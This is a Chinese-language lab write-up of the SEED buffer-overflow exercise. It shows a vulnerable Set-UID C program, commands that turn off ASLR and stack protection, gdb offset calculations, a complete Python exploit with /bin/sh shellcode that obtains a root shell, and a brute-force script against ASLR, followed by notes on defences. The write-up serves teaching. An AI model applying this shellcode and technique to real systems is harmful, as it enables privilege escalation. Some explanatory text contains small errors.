Buffer-Overflow Vulnerability Lab

預備環境

  1. Ubuntu16.04
  2. 程序stack.c、exploit.py

預備知識

  1. strcpy()這個函數用於複製字符串,遇到字符’\0’時將停止複製,’\0’字符ASCII值爲0.
  2. 緩衝區溢出攻擊的目標在於覆蓋函數返回地址,使其指向注入的惡意指令的地址。

開始實驗

  1. 關閉地址空間隨機化
  • 地址空間隨機化(ASLR)是針對緩衝區溢出攻擊的防禦措施之一,ASLR對程序內存中的一些關鍵數據區域進行隨機化,包括棧的位置、堆和庫的位置等,目的讓攻擊者難以猜測所注入的惡意代碼在內存中的具體位置。
    [07/06/20]seed@VM:~/code$ sudo sysctl -w kernel.randomize_va_space=0
    kernel.randomize_va_space = 0
    
  1. 準備存在漏洞的程序stack.c
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    #ifndef BUF_SIZE
    #define BUF_SIZE 24
    #endif
    
    int bof(char *str)
    {
        char buffer[BUF_SIZE];
    
        /* The following statement has a buffer overflow problem */
        strcpy(buffer, str);       
    
        return 1;
    }
    
    int main(int argc, char **argv)
    {
        char str[517];
        FILE *badfile;
    
         /* Change the size of the dummy array to randomize the parameters
           for this lab. Need to use the array at least once */
        char dummy[BUF_SIZE]; 
        memset(dummy, 0, BUF_SIZE);
    
        badfile = fopen("badfile", "r");
        fread(str, sizeof(char), 517, badfile);
        bof(str);
        printf("Returned Properly\n");
        return 1;
    }
    
  • 上面程序從badfile中讀取517字節的數據,然後把它們複製到長度爲24字節的緩衝區buffer中。
  • 可以簡單的將惡意代碼放入badfile中,當程序讀取文件時,惡意代碼被載入str數組,當程序將str中的內容複製到目標緩衝區時,惡意代碼就被存入棧中,惡意代碼被放到badfile文件的末尾。
  • 下一步,需要迫使程序跳轉到內存的惡意代碼,爲了達到這個目的,可以利用代碼中的緩衝區溢出問題修改返回地址,如果知道惡意代碼存放的位置,就能夠簡單地使用這個地址來覆蓋返回地址所在的內存區域,當foo()函數返回時,程序就會跳轉到惡意代碼存放的地址。
  1. 實驗攻擊的目標是一個擁有root權限的Set-UId程序,,假如成功對該Set-UID程序發起緩衝區溢出攻擊,注入的惡意代碼一旦被執行,則將以root權限運行:
[07/06/20]seed@VM:~/code$ gcc -o stack -z execstack -fno-stack-protector stack.c 
[07/06/20]seed@VM:~/code$ sudo chown root stack
[07/06/20]seed@VM:~/code$ sudo chmod 4755 stack
  • -z execstack:在默認情況下,一個程序的棧是不可執行的,因此在棧上注入惡意代碼也是無法執行的,該保護機制稱作不可執行棧,但是-z execstack選項設置棧爲可執行的。
  • -fno-stack-protector:關閉了一個稱爲StackGuard的保護機制,它能夠抵禦基於棧的緩衝區溢出攻擊,它的主要思想是在代碼中添加一些特殊數據和檢查機制,從而可以檢測到緩衝區溢出的發生。
  1. 通過調試程序找到地址
  • 直接調試這個程序,並打印出foo()函數被調用時幀指針的值。當以普通用戶身份調試一個Set-UID特權程序時,程序並不會以特殊權限運行,因此在調試器中直接改變程序行爲並不能獲得任何權限。
  • 重新編譯程序,加入調試信息(-g選項)
    [07/06/20]seed@VM:~/code$ touch badfile
    [07/06/20]seed@VM:~/code$ gcc -z execstack -fno-stack-protector -g -o stack_dbg stack.c 
    [07/06/20]seed@VM:~/code$ gdb stack_dbg 
    GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
    ...
    gdb-peda$ b bof
    Breakpoint 1 at 0x80484f1: file stack.c, line 13.
    gdb-peda$ run
    Starting program: /home/seed/code/stack_dbg 
    [Thread debugging using libthread_db enabled]
    ....
    Breakpoint 1, bof (str=0xbffff1a7 "\bB\003") at stack.c:13
    warning: Source file is more recent than executable.
    13	    strcpy(buffer, str);       
    gdb-peda$ p $ebp
    $1 = (void *) 0xbffff168
    gdb-peda$ p &buffer
    $2 = (char (*)[24]) 0xbffff148
    gdb-peda$ p/d 0xbffff168 - 0xbffff148
    $3 = 32
    gdb-peda$ quit
    
  • 在gdb中,通過b foo命令在bof()函數處設置一個斷點,接着用run命令來運行程序,程序將在bof()函數內停下來,這時可以使用gdb的p指令(p指令默認用六十進制打印,p/d表示用十進制打印)來打印幀指針ebp的值以及buffer地址。
  • 從上面的結果可以看出,幀指針的值是0xbffff168,因此返回地址保存在0xbffff168+4,並且第一個NOP指令在0xbffff168+8,因此可以將0xbffff168+8作爲惡意代碼的入口地址,把它寫入返回地址字段中。
  • 由於輸入將被複制到buffer中,爲了讓輸入的返回地址字段準確地覆蓋棧中的返回地址區域,需要知道棧中buffer和返回地址之間的距離,這個距離就是返回地址字段在輸入數據中的相對位置。
  • 通過計算,可以看到從buffer起始地址到ebp之間的距離爲32,由於返回地址區域在ebp指向位置上面的4字節,由此可以知道返回地址區域到buffer之間的距離爲36.
  1. 構造輸入文件
    在這裏插入圖片描述
  • exploit.py
    #!/usr/bin/python3
    import sys
    
    shellcode=(
       "\x31\xc0"    #xorl %eax,%eax
       "\x31\xdb"    #xorl %ebx,%ebx
       "\xb0\xd5"    #movb $0xd5,%al
       "\xcd\x80"    #int  $0x80,前四步爲setuid(0)
       "\x31\xc0"    # xorl    %eax,%eax
       "\x50"        # pushl   %eax
       "\x68""//sh"  # pushl   $0x68732f2f
       "\x68""/bin"  # pushl   $0x6e69622f
       "\x89\xe3"    # movl    %esp,%ebx
       "\x50"        # pushl   %eax
       "\x53"        # pushl   %ebx
       "\x89\xe1"    # movl    %esp,%ecx
       "\x99"        # cdq
       "\xb0\x0b"    # movb    $0x0b,%al
       "\xcd\x80"    # int     $0x80
    ).encode('latin-1')        
    #第一部分
    content = bytearray(0x90 for i in range(517)) 
    
    start = 517 - len(shellcode)
    #第二部分
    content[start:] = shellcode
    
    #第三部分
    ret    = 0xbffff168 + 100  # replace 0xAABBCCDD with the correct value
    #第四部分
    offset = 36            # replace 0 with the correct value
    content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
    ##################################################################
    # Write the content to a file
    with open('badfile', 'wb') as f:
      f.write(content)
    
  • shellcode中存放就是惡意代碼,在第一部分創建了一個長度爲517個字節的byte數組,並用0x90(NOP)填充整個數組,最後把惡意代碼放到數組的尾部(第二部分所示)。
  • 這裏使用0xbffff168 + 100作爲返回值,需要把它填入到content數組的返回值區域,由之前的gdb調試結果可知,返回值區域從第36個字節開始,到第40個字節結束,不包括第40個字節,所以設置offset = 36, 用[offset:offset+4]來存儲返回地址。
  • 在x86等體系結構的計算機使用的是小端字節順序,一個多字節組成的數據在內存中存放時,最低位字節放到低地址處,因此把一個4字節的地址寫入內存時,用byteorder='title’來指明使用小端字節順序。
  • 地址沒有使用0xbffff168+8是因爲,在gdb中和程序實際運行中有可能不同,gdb可能在執行時往棧壓入了一些額外的數據,可能比直接運行程序時棧幀更深一些。
  • 0xbffff168 + n不應該使用任何字節包含0,因爲’\0’的ASCII碼值爲0x00,strcpy函數碰到00會停止複製內容到緩衝區,因此會造成緩衝區溢出攻擊的失敗。
  • 運行程序
    [07/06/20]seed@VM:~/code$ ./exploit.py 
    [07/06/20]seed@VM:~/code$ ./stack
    # id                                                                 
    uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
    
  • 可以看到成功獲得了root的shell權限。

防禦措施


地址空間隨機化


  1. 地址空間隨機化(ASLR)是針對緩衝區溢出攻擊的防禦措施之一,ASLR對程序內存中的一些關鍵數據區域進行隨機化,包括棧的位置、堆和庫的位置等,目的讓攻擊者難以猜測所注入的惡意代碼在內存中的具體位置。
  2. 用戶可以通過設置一個內核變量kernel.randomize_va_space告知加載器它們想要使用的地址隨機化類型。
    1. kernel.randomize_va_space = 0,不啓用地址隨機化。
    2. kernel.randomize_va_space = 1,啓用棧地址隨機化,堆不啓用。
    3. kernel.randomize_va_space = 2,棧和堆都啓用地址隨機化。
  3. 衡量地址空間隨機程度的一種方式是熵,如果一個內存空間區域擁有n比特熵,這表明系統上該區域的基地址由2n等可能的位置。
  4. 在32爲Linux系統中,棧只有19bit的熵,意味着棧只有219中可能性,這個數字並不大,他能被輕易暴力破解。
  5. 編寫一下腳本來實現緩衝區溢出攻擊:
    #!/bin/bash
    
    SECONDS=0
    value=0
    
    while [ 1 ]
     do
     value=$(( $value + 1))
     duration=$SECONDS
     min=$(($duration / 60))
     sec=$(($duration % 60))
     echo "$min minutes and $sec seconds elapsed"
     echo "The program has been running $value times so far"
     ./stack
    done
    
  6. 在之前的攻擊中,已經把惡意代碼寫入到badfile中,由於地址隨機化,該文件中放入的地址可能時錯的,隨着腳本不斷的運行,程序不斷的執行,總有一次程序加載的基地址能夠正好命中badfile中的地址。

StackGuard


  1. 可以在緩衝區到返回地址之間放置一個不可預測的值,在函數返回之前,檢查這個值是否被修改,如果值被修改,則返回地址很大可能被修改了,因此,檢測返回地址是否被覆蓋的問題變成了哨兵值是否被修改的問題。
  2. 在gcc中編譯時默認開啓,可以使用-fno-stack-protector關閉該選項。
  3. 對於StackGuard方案中,存放canary(哨兵)中的祕密數需要滿足兩個條件:
    1. 隨機的:可以通過使用/dev/urandom初始化canary來確保。
    2. 它的備份不能保存在棧中:在Linux中,GS寄存器指向的內存段是一個特殊的區域,不同於棧、堆、BSS段、數據段和代碼段,GS與棧物理隔離,因此堆棧緩衝區溢出不會影響GS段中的任何數據。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章